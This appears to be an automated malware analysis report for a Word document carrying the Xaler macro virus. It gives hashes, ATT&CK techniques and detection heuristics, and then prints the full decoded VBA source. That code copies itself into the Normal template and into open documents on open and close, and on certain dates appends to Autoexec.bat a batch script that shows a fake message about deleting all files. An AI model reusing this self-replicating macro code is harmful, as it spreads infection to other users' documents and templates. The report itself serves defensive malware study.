Office (OLE) malware analysis — malicious · fc55dc8295e2f033

MALICIOUS

Office (OLE)

61.5 KB Created: 2003-12-16 12:55:00 Authoring application: Microsoft Word 9.0 First seen: 2015-09-24

MD5: 604584ba35d4c82594f0c419edbf1e70 SHA-1: ae20e2c58b1fe26cbe30f0e3f0ed63e3a3edbfa0 SHA-256: fc55dc8295e2f0331a4c097113cd18417d0e5fe532430d4b9aa5e60e2d77a100

208 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1070.004 Indicator Removal: File Deletion

The sample contains VBA macros, including a Document_Open macro, and exhibits self-replication behavior, indicating a malicious intent to spread or persist. The `RELAX2` subroutine within the VBA code attempts to write commands to `C:\Autoexec.bat`, which could be used for malicious purposes such as deleting files or displaying messages. The `GOODSub` subroutine attempts to export and manipulate VBA project code, potentially for AV tampering or replication.

Heuristics 4

ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Xaler-1
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2523 bytes
SHA-256: `53715c99af4ccd436b6c9d93e650c301f483e360926d4fd3e93559ae0d60f159`
Detection ClamAV: Doc.Trojan.Xaler-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'RELAX Private Sub RELAX2() If Day(Date) Mod 10 = 0 And Month(Date) Mod 4 = 0 Then Open "C:\Autoexec.bat" For Append As #1 Print #1, "Cls" Print #1, "@ECHO OFF" Print #1, "ECHO NOTE!!!" Print #1, "ECHO *" Print #1, "ECHO *" Print #1, "ECHO ***" Print #1, "ECHO *" Print #1, "ECHO " Print #1, "ECHO Sometimes you must RELAX." Print #1, "ECHO Please, RELAX while deleting all files in C:\" Print #1, "ECHO **" Print #1, "ECHO ***" Print #1, "ECHO *" Print #1, "ECHO GREECE" Print #1, "ECHO ==================================" Print #1, "PAUSE" Print #1, "CLS" Print #1, "ECHO All files deleted!!!" Print #1, "ECHO Now, you have a clean COMPUTER." Print #1, "ECHO ***" Print #1, "ECHO *****" Print #1, "PAUSE" Print #1, "@ECHO ON" Close #1 End If End Sub Private Sub Document_Close() Call GOODSub Call RELAX2 End Sub Private Sub GOODSub() On Error Resume Next Application.ScreenUpdating = False Application.Options.SaveNormalPrompt = False x$ = "C:\temp.tmp" MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$ Open x$ For Input As #1 keimeno = Input(LOF(1), 1) Close #1 kk& = InStr(1, keimeno, "'RELAX") keimeno = Right$(keimeno, Len(keimeno) - kk& + 1) For j = 1 To 2 If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$ Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$ End If Open x$ For Input As #1 rlx = Input(LOF(1), 1) Close #1 d1 = InStr(1, rlx, "'RELAX") If d1 = 0 Then If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno NormalTemplate.Save Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno End If End If Next j '==================== Dim PRostasia As Byte PRostasia = 1 fff = FreeFile If Dir(ActiveDocument.FullName, 6) <> "" Then Open ActiveDocument.FullName For Binary As #fff Put #fff, 862, PRostasia Close #fff ActiveDocument.Save End If Kill x$ Application.ScreenUpdating = True End Sub Private Sub Document_Open() Call GOODSub End Sub

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